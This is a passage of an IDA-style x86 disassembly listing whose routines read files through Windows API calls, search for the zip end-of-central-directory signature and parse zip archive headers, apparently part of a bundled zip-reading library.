loc_40E3C3: ; CODE XREF: sub_40E2F9:loc_40E38Cj
; sub_40E2F9+B8j
mov edx, [ebp+var_8]
push edx
call dword_4130A0 ; GetFileType
mov [ebp+var_10], eax
xor eax, eax
cmp [ebp+var_10], 1
setz al
mov byte ptr [ebp+var_4], al
loc_40E3DC: ; CODE XREF: sub_40E2F9+46j
push 1Ch
call sub_4114F4
add esp, 4
mov [ebp+var_1C], eax
mov ecx, [ebp+var_1C]
mov [ebp+var_C], ecx
cmp [ebp+arg_8], 1
jz short loc_40E3FB
cmp [ebp+arg_8], 2
jnz short loc_40E448
loc_40E3FB: ; CODE XREF: sub_40E2F9+FAj
mov edx, [ebp+var_C]
mov byte ptr [edx], 1
mov eax, [ebp+var_C]
mov cl, byte ptr [ebp+var_4]
mov [eax+1], cl
mov edx, [ebp+var_C]
mov eax, [ebp+var_8]
mov [edx+4], eax
mov ecx, [ebp+var_C]
mov byte ptr [ecx+8], 0
mov edx, [ebp+var_C]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+var_4]
and eax, 0FFh
test eax, eax
jz short loc_40E446
push 1
push 0
push 0
mov ecx, [ebp+var_8]
push ecx
call dword_4130A4 ; SetFilePointer
mov edx, [ebp+var_C]
mov [edx+0Ch], eax
loc_40E446: ; CODE XREF: sub_40E2F9+135j
jmp short loc_40E47B
; ---------------------------------------------------------------------------
loc_40E448: ; CODE XREF: sub_40E2F9+100j
mov eax, [ebp+var_C]
mov byte ptr [eax], 0
mov ecx, [ebp+var_C]
mov byte ptr [ecx+1], 1
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
mov [edx+10h], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
mov [ecx+14h], edx
mov eax, [ebp+var_C]
mov dword ptr [eax+18h], 0
mov ecx, [ebp+var_C]
mov dword ptr [ecx+0Ch], 0
loc_40E47B: ; CODE XREF: sub_40E2F9:loc_40E446j
mov edx, [ebp+arg_C]
mov dword ptr [edx], 0
mov eax, [ebp+var_C]
loc_40E487: ; CODE XREF: sub_40E2F9+23j
; sub_40E2F9+8Ej ...
mov esp, ebp
pop ebp
retn
sub_40E2F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E48B proc near ; CODE XREF: sub_40EA92+28p
; sub_40EA92+19Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_40E49A
or eax, 0FFFFFFFFh
jmp short loc_40E4C6
; ---------------------------------------------------------------------------
loc_40E49A: ; CODE XREF: sub_40E48B+8j
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_40E4B2
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call dword_413020 ; CloseHandle
loc_40E4B2: ; CODE XREF: sub_40E48B+18j
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_4114EE
add esp, 4
xor eax, eax
loc_40E4C6: ; CODE XREF: sub_40E48B+Dj
mov esp, ebp
pop ebp
retn
sub_40E48B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E4CA proc near ; CODE XREF: sub_40E6BE+39p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_40E4EB
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx+8]
test eax, eax
jz short loc_40E4EB
mov eax, 1
jmp short loc_40E4ED
; ---------------------------------------------------------------------------
loc_40E4EB: ; CODE XREF: sub_40E4CA+Cj
; sub_40E4CA+18j
xor eax, eax
loc_40E4ED: ; CODE XREF: sub_40E4CA+1Fj
pop ebp
retn
sub_40E4CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E4EF proc near ; CODE XREF: sub_40E901+25p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_40E524
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_40E524
push 1
push 0
push 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
push edx
call dword_4130A4 ; SetFilePointer
mov ecx, [ebp+arg_0]
sub eax, [ecx+0Ch]
jmp short loc_40E539
; ---------------------------------------------------------------------------
loc_40E524: ; CODE XREF: sub_40E4EF+Cj
; sub_40E4EF+18j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_40E533
xor eax, eax
jmp short loc_40E539
; ---------------------------------------------------------------------------
loc_40E533: ; CODE XREF: sub_40E4EF+3Ej
mov ecx, [ebp+arg_0]
mov eax, [ecx+18h]
loc_40E539: ; CODE XREF: sub_40E4EF+33j
; sub_40E4EF+42j
pop ebp
retn
sub_40E4EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E53B proc near ; CODE XREF: sub_40E901+Ep
; sub_40E901+D7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_40E5BD
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_40E5BD
cmp [ebp+arg_8], 0
jnz short loc_40E578
push 0
push 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
add edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call dword_4130A4 ; SetFilePointer
jmp short loc_40E5B9
; ---------------------------------------------------------------------------
loc_40E578: ; CODE XREF: sub_40E53B+1Ej
cmp [ebp+arg_8], 1
jnz short loc_40E595
push 1
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call dword_4130A4 ; SetFilePointer
jmp short loc_40E5B9
; ---------------------------------------------------------------------------
loc_40E595: ; CODE XREF: sub_40E53B+41j
cmp [ebp+arg_8], 2
jnz short loc_40E5B2
push 2
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call dword_4130A4 ; SetFilePointer
jmp short loc_40E5B9
; ---------------------------------------------------------------------------
loc_40E5B2: ; CODE XREF: sub_40E53B+5Ej
mov eax, 13h
jmp short loc_40E60E
; ---------------------------------------------------------------------------
loc_40E5B9: ; CODE XREF: sub_40E53B+3Bj
; sub_40E53B+58j ...
xor eax, eax
jmp short loc_40E60E
; ---------------------------------------------------------------------------
loc_40E5BD: ; CODE XREF: sub_40E53B+Cj
; sub_40E53B+18j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_40E5CF
mov eax, 1Dh
jmp short loc_40E60E
; ---------------------------------------------------------------------------
loc_40E5CF: ; CODE XREF: sub_40E53B+8Bj
cmp [ebp+arg_8], 0
jnz short loc_40E5E0
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov [ecx+18h], edx
jmp short loc_40E60C
; ---------------------------------------------------------------------------
loc_40E5E0: ; CODE XREF: sub_40E53B+98j
cmp [ebp+arg_8], 1
jnz short loc_40E5F7
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
add ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov [edx+18h], ecx
jmp short loc_40E60C
; ---------------------------------------------------------------------------
loc_40E5F7: ; CODE XREF: sub_40E53B+A9j
cmp [ebp+arg_8], 2
jnz short loc_40E60C
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov [edx+18h], ecx
loc_40E60C: ; CODE XREF: sub_40E53B+A3j
; sub_40E53B+BAj ...
xor eax, eax
loc_40E60E: ; CODE XREF: sub_40E53B+7Cj
; sub_40E53B+80j ...
pop ebp
retn
sub_40E53B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E610 proc near ; CODE XREF: sub_40E6BE+12p
; sub_40E901+F6p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_8]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_C]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_40E660
push 0
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
push ecx
call dword_41301C ; ReadFile
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_40E656
mov edx, [ebp+arg_C]
mov byte ptr [edx+8], 1
loc_40E656: ; CODE XREF: sub_40E610+3Dj
mov eax, [ebp+var_10]
xor edx, edx
div [ebp+arg_4]
jmp short loc_40E6BA
; ---------------------------------------------------------------------------
loc_40E660: ; CODE XREF: sub_40E610+19j
mov eax, [ebp+arg_C]
mov ecx, [eax+18h]
add ecx, [ebp+var_8]
mov edx, [ebp+arg_C]
cmp ecx, [edx+14h]
jbe short loc_40E680
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_C]
mov edx, [eax+14h]
sub edx, [ecx+18h]
mov [ebp+var_8], edx
loc_40E680: ; CODE XREF: sub_40E610+5Fj
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+10h]
mov eax, [ebp+arg_C]
add edx, [eax+18h]
push edx
mov ecx, [ebp+arg_0]
push ecx
call sub_411634 ; memcpy
add esp, 0Ch
mov edx, [ebp+var_8]
mov [ebp+var_4], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+18h]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [edx+18h], ecx
mov eax, [ebp+var_4]
xor edx, edx
div [ebp+arg_4]
loc_40E6BA: ; CODE XREF: sub_40E610+4Ej
mov esp, ebp
pop ebp
retn
sub_40E610 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E6BE proc near ; CODE XREF: sub_40E70E+Ep
; sub_40E70E+2Dp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
push eax
push 1
push 1
lea ecx, [ebp+var_8]
push ecx
call sub_40E610
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 1
jnz short loc_40E6F3
mov edx, [ebp+var_8]
and edx, 0FFh
mov eax, [ebp+arg_4]
mov [eax], edx
xor eax, eax
jmp short loc_40E70A
; ---------------------------------------------------------------------------
loc_40E6F3: ; CODE XREF: sub_40E6BE+21j
mov ecx, [ebp+arg_0]
push ecx
call sub_40E4CA
add esp, 4
test eax, eax
jz short loc_40E708
or eax, 0FFFFFFFFh
jmp short loc_40E70A
; ---------------------------------------------------------------------------
loc_40E708: ; CODE XREF: sub_40E6BE+43j
xor eax, eax
loc_40E70A: ; CODE XREF: sub_40E6BE+33j
; sub_40E6BE+48j
mov esp, ebp
pop ebp
retn
sub_40E6BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E70E proc near ; CODE XREF: sub_40EA92+9Ap
; sub_40EA92+B5p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40E6BE
add esp, 8
mov [ebp+var_4], eax
mov edx, [ebp+var_C]
mov [ebp+var_8], edx
cmp [ebp+var_4], 0
jnz short loc_40E746
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40E6BE
add esp, 8
mov [ebp+var_4], eax
loc_40E746: ; CODE XREF: sub_40E70E+23j
mov edx, [ebp+var_C]
shl edx, 8
mov eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jnz short loc_40E764
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx], edx
jmp short loc_40E76D
; ---------------------------------------------------------------------------
loc_40E764: ; CODE XREF: sub_40E70E+4Aj
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
loc_40E76D: ; CODE XREF: sub_40E70E+54j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_40E70E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E774 proc near ; CODE XREF: sub_40EA92+7Fp
; sub_40EA92+127p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40E6BE
add esp, 8
mov [ebp+var_4], eax
mov edx, [ebp+var_C]
mov [ebp+var_8], edx
cmp [ebp+var_4], 0
jnz short loc_40E7AC
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40E6BE
add esp, 8
mov [ebp+var_4], eax
loc_40E7AC: ; CODE XREF: sub_40E774+23j
mov edx, [ebp+var_C]
shl edx, 8
mov eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jnz short loc_40E7D3
lea ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_40E6BE
add esp, 8
mov [ebp+var_4], eax
loc_40E7D3: ; CODE XREF: sub_40E774+4Aj
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_8]
add ecx, eax
mov [ebp+var_8], ecx
cmp [ebp+var_4], 0
jnz short loc_40E7FA
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_40E6BE
add esp, 8
mov [ebp+var_4], eax
loc_40E7FA: ; CODE XREF: sub_40E774+71j
mov ecx, [ebp+var_C]
shl ecx, 18h
mov edx, [ebp+var_8]
add edx, ecx
mov [ebp+var_8], edx
cmp [ebp+var_4], 0
jnz short loc_40E818
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [eax], ecx
jmp short loc_40E821
; ---------------------------------------------------------------------------
loc_40E818: ; CODE XREF: sub_40E774+98j
mov edx, [ebp+arg_4]
mov dword ptr [edx], 0
loc_40E821: ; CODE XREF: sub_40E774+A2j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_40E774 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E828 proc near ; CODE XREF: sub_40E8D4+23p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
loc_40E82E: ; CODE XREF: sub_40E828:loc_40E8CBj
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [ebp+var_8], cl
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
movsx eax, [ebp+var_4]
cmp eax, 61h
jl short loc_40E86B
movsx ecx, [ebp+var_4]
cmp ecx, 7Ah
jg short loc_40E86B
mov dl, [ebp+var_4]
sub dl, 20h
mov [ebp+var_4], dl
loc_40E86B: ; CODE XREF: sub_40E828+2Fj
; sub_40E828+38j
movsx eax, [ebp+var_8]
cmp eax, 61h
jl short loc_40E886
movsx ecx, [ebp+var_8]
cmp ecx, 7Ah
jg short loc_40E886
mov dl, [ebp+var_8]
sub dl, 20h
mov [ebp+var_8], dl
loc_40E886: ; CODE XREF: sub_40E828+4Aj
; sub_40E828+53j
movsx eax, [ebp+var_4]
test eax, eax
jnz short loc_40E898
movsx eax, [ebp+var_8]
neg eax
sbb eax, eax
jmp short loc_40E8D0
; ---------------------------------------------------------------------------
loc_40E898: ; CODE XREF: sub_40E828+64j
movsx ecx, [ebp+var_8]
test ecx, ecx
jnz short loc_40E8A7
mov eax, 1
jmp short loc_40E8D0
; ---------------------------------------------------------------------------
loc_40E8A7: ; CODE XREF: sub_40E828+76j
movsx edx, [ebp+var_4]
movsx eax, [ebp+var_8]
cmp edx, eax
jge short loc_40E8B8
or eax, 0FFFFFFFFh
jmp short loc_40E8D0
; ---------------------------------------------------------------------------
loc_40E8B8: ; CODE XREF: sub_40E828+89j
movsx ecx, [ebp+var_4]
movsx edx, [ebp+var_8]
cmp ecx, edx
jle short loc_40E8CB
mov eax, 1
jmp short loc_40E8D0
; ---------------------------------------------------------------------------
loc_40E8CB: ; CODE XREF: sub_40E828+9Aj
jmp loc_40E82E
; ---------------------------------------------------------------------------
loc_40E8D0: ; CODE XREF: sub_40E828+6Ej
; sub_40E828+7Dj ...
mov esp, ebp
pop ebp
retn
sub_40E828 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E8D4 proc near ; CODE XREF: sub_40F30A+D5p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 1
jnz short loc_40E8EF
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_411684 ; strcmp
add esp, 8
jmp short loc_40E8FF
; ---------------------------------------------------------------------------
loc_40E8EF: ; CODE XREF: sub_40E8D4+7j
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_40E828
add esp, 8
loc_40E8FF: ; CODE XREF: sub_40E8D4+19j
pop ebp
retn
sub_40E8D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E901 proc near ; CODE XREF: sub_40EA92+42p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_40E53B
add esp, 0Ch
test eax, eax
jz short loc_40E922
xor eax, eax
jmp loc_40EA8E
; ---------------------------------------------------------------------------
loc_40E922: ; CODE XREF: sub_40E901+18j
mov ecx, [ebp+arg_0]
push ecx
call sub_40E4EF
add esp, 4
mov [ebp+var_8], eax
mov [ebp+var_14], 0FFFFh
mov edx, [ebp+var_14]
cmp edx, [ebp+var_8]
jbe short loc_40E946
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
loc_40E946: ; CODE XREF: sub_40E901+3Dj
push 404h
call dword_4131C8 ; malloc
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40E964
xor eax, eax
jmp loc_40EA8E
; ---------------------------------------------------------------------------
loc_40E964: ; CODE XREF: sub_40E901+5Aj
mov [ebp+var_10], 0
mov [ebp+var_C], 4
loc_40E972: ; CODE XREF: sub_40E901:loc_40EA73j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_14]
jnb loc_40EA78
mov edx, [ebp+var_C]
add edx, 400h
cmp edx, [ebp+var_14]
jbe short loc_40E994
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
jmp short loc_40E9A0
; ---------------------------------------------------------------------------
loc_40E994: ; CODE XREF: sub_40E901+89j
mov ecx, [ebp+var_C]
add ecx, 400h
mov [ebp+var_C], ecx
loc_40E9A0: ; CODE XREF: sub_40E901+91j
mov edx, [ebp+var_8]
sub edx, [ebp+var_C]
mov [ebp+var_20], edx
mov eax, [ebp+var_8]
sub eax, [ebp+var_20]
cmp eax, 404h
jbe short loc_40E9BF
mov [ebp+var_24], 404h
jmp short loc_40E9C8
; ---------------------------------------------------------------------------
loc_40E9BF: ; CODE XREF: sub_40E901+B3j
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
loc_40E9C8: ; CODE XREF: sub_40E901+BCj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
push 0
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40E53B
add esp, 0Ch
test eax, eax
jz short loc_40E9E9
jmp loc_40EA78
; ---------------------------------------------------------------------------
loc_40E9E9: ; CODE XREF: sub_40E901+E1j
mov edx, [ebp+arg_0]
push edx
push 1
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_40E610
add esp, 10h
cmp eax, 1
jz short loc_40EA06
jmp short loc_40EA78
; ---------------------------------------------------------------------------
loc_40EA06: ; CODE XREF: sub_40E901+101j
mov edx, [ebp+var_18]
sub edx, 3
mov [ebp+var_1C], edx
loc_40EA0F: ; CODE XREF: sub_40E901:loc_40EA69j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jle short loc_40EA6B
mov edx, [ebp+var_4]
add edx, [ebp+var_1C]
xor eax, eax
mov al, [edx]
cmp eax, 50h
jnz short loc_40EA69
mov ecx, [ebp+var_4]
add ecx, [ebp+var_1C]
xor edx, edx
mov dl, [ecx+1]
cmp edx, 4Bh
jnz short loc_40EA69
mov eax, [ebp+var_4]
add eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+2]
cmp ecx, 5
jnz short loc_40EA69
mov edx, [ebp+var_4]
add edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+3]
cmp eax, 6
jnz short loc_40EA69
mov ecx, [ebp+var_20]
add ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
jmp short loc_40EA6B
; ---------------------------------------------------------------------------
loc_40EA69: ; CODE XREF: sub_40E901+12Bj
; sub_40E901+13Bj ...
jmp short loc_40EA0F
; ---------------------------------------------------------------------------
loc_40EA6B: ; CODE XREF: sub_40E901+11Cj
; sub_40E901+166j
cmp [ebp+var_10], 0
jz short loc_40EA73
jmp short loc_40EA78
; ---------------------------------------------------------------------------
loc_40EA73: ; CODE XREF: sub_40E901+16Ej
jmp loc_40E972
; ---------------------------------------------------------------------------
loc_40EA78: ; CODE XREF: sub_40E901+77j
; sub_40E901+E3j ...
cmp [ebp+var_4], 0
jz short loc_40EA8B
mov edx, [ebp+var_4]
push edx
call dword_4131D4 ; free
add esp, 4
loc_40EA8B: ; CODE XREF: sub_40E901+17Bj
mov eax, [ebp+var_10]
loc_40EA8E: ; CODE XREF: sub_40E901+1Cj
; sub_40E901+5Ej
mov esp, ebp
pop ebp
retn
sub_40E901 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EA92 proc near ; CODE XREF: sub_40FE9E+99p
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_90 = dword ptr -90h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 9Ch
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_40EAAA
xor eax, eax
jmp loc_40ECA2
; ---------------------------------------------------------------------------
loc_40EAAA: ; CODE XREF: sub_40EA92+Fj
movsx eax, byte_414AA4
cmp eax, 20h
jz short loc_40EAC9
mov ecx, [ebp+arg_0]
push ecx
call sub_40E48B
add esp, 4
xor eax, eax
jmp loc_40ECA2
; ---------------------------------------------------------------------------
loc_40EAC9: ; CODE XREF: sub_40EA92+22j
mov [ebp+var_8], 0
mov edx, [ebp+arg_0]
push edx
call sub_40E901
add esp, 4
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_40EAEC
mov [ebp+var_8], 0FFFFFFFFh
loc_40EAEC: ; CODE XREF: sub_40EA92+51j
push 0
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40E53B
add esp, 0Ch
test eax, eax
jz short loc_40EB09
mov [ebp+var_8], 0FFFFFFFFh
loc_40EB09: ; CODE XREF: sub_40EA92+6Ej
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EB24
mov [ebp+var_8], 0FFFFFFFFh
loc_40EB24: ; CODE XREF: sub_40EA92+89j
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EB3F
mov [ebp+var_8], 0FFFFFFFFh
loc_40EB3F: ; CODE XREF: sub_40EA92+A4j
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EB5A
mov [ebp+var_8], 0FFFFFFFFh
loc_40EB5A: ; CODE XREF: sub_40EA92+BFj
lea edx, [ebp+var_98]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EB78
mov [ebp+var_8], 0FFFFFFFFh
loc_40EB78: ; CODE XREF: sub_40EA92+DDj
lea ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EB93
mov [ebp+var_8], 0FFFFFFFFh
loc_40EB93: ; CODE XREF: sub_40EA92+F8j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_98]
jnz short loc_40EBAA
cmp [ebp+var_18], 0
jnz short loc_40EBAA
cmp [ebp+var_4], 0
jz short loc_40EBB1
loc_40EBAA: ; CODE XREF: sub_40EA92+10Aj
; sub_40EA92+110j
mov [ebp+var_8], 0FFFFFF99h
loc_40EBB1: ; CODE XREF: sub_40EA92+116j
lea ecx, [ebp+var_7C]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EBCC
mov [ebp+var_8], 0FFFFFFFFh
loc_40EBCC: ; CODE XREF: sub_40EA92+131j
lea eax, [ebp+var_78]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40E774
add esp, 8
test eax, eax
jz short loc_40EBE7
mov [ebp+var_8], 0FFFFFFFFh
loc_40EBE7: ; CODE XREF: sub_40EA92+14Cj
lea edx, [ebp+var_94]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_40E70E
add esp, 8
test eax, eax
jz short loc_40EC05
mov [ebp+var_8], 0FFFFFFFFh
loc_40EC05: ; CODE XREF: sub_40EA92+16Aj
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
add edx, [ecx+0Ch]
mov eax, [ebp+var_78]
add eax, [ebp+var_7C]
cmp edx, eax
jnb short loc_40EC25
cmp [ebp+var_8], 0
jnz short loc_40EC25
mov [ebp+var_8], 0FFFFFF99h
loc_40EC25: ; CODE XREF: sub_40EA92+184j
; sub_40EA92+18Aj
cmp [ebp+var_8], 0
jz short loc_40EC3B
mov ecx, [ebp+arg_0]
push ecx
call sub_40E48B
add esp, 4
xor eax, eax
jmp short loc_40ECA2
; ---------------------------------------------------------------------------
loc_40EC3B: ; CODE XREF: sub_40EA92+197j
mov edx, [ebp+arg_0]
mov [ebp+var_9C], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_10]
add ecx, [eax+0Ch]
mov edx, [ebp+var_78]
add edx, [ebp+var_7C]
sub ecx, edx
mov [ebp+var_90], ecx
mov eax, [ebp+var_10]
mov [ebp+var_80], eax
mov [ebp+var_20], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+0Ch], 0
push 80h
call dword_4131C8 ; malloc
add esp, 4
mov [ebp+var_C], eax
mov ecx, 20h
lea esi, [ebp+var_9C]
mov edi, [ebp+var_C]
rep movsd
mov edx, [ebp+var_C]
push edx
call sub_40F1E3
add esp, 4
mov eax, [ebp+var_C]
loc_40ECA2: ; CODE XREF: sub_40EA92+13j
; sub_40EA92+32j ...
pop edi
pop esi
mov esp, ebp
pop ebp
retn
sub_40EA92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECA8 proc near ; CODE XREF: sub_410CC8+36p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_40ECB9
mov eax, 0FFFFFF9Ah
jmp short loc_40ECF7
; ---------------------------------------------------------------------------
loc_40ECB9: ; CODE XREF: sub_40ECA8+8j
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+7Ch], 0
jz short loc_40ECD4
mov edx, [ebp+arg_0]
push edx
call sub_40FCA7
add esp, 4
loc_40ECD4: ; CODE XREF: sub_40ECA8+1Ej
mov eax, [ebp+var_4]
mov ecx, [eax]
push ecx
call sub_40E48B
add esp, 4
cmp [ebp+var_4], 0
jz short loc_40ECF5
mov edx, [ebp+var_4]
push edx
call dword_4131D4 ; free
add esp, 4
loc_40ECF5: ; CODE XREF: sub_40ECA8+3Ej
xor eax, eax
loc_40ECF7: ; CODE XREF: sub_40ECA8+Fj
mov esp, ebp
pop ebp
retn
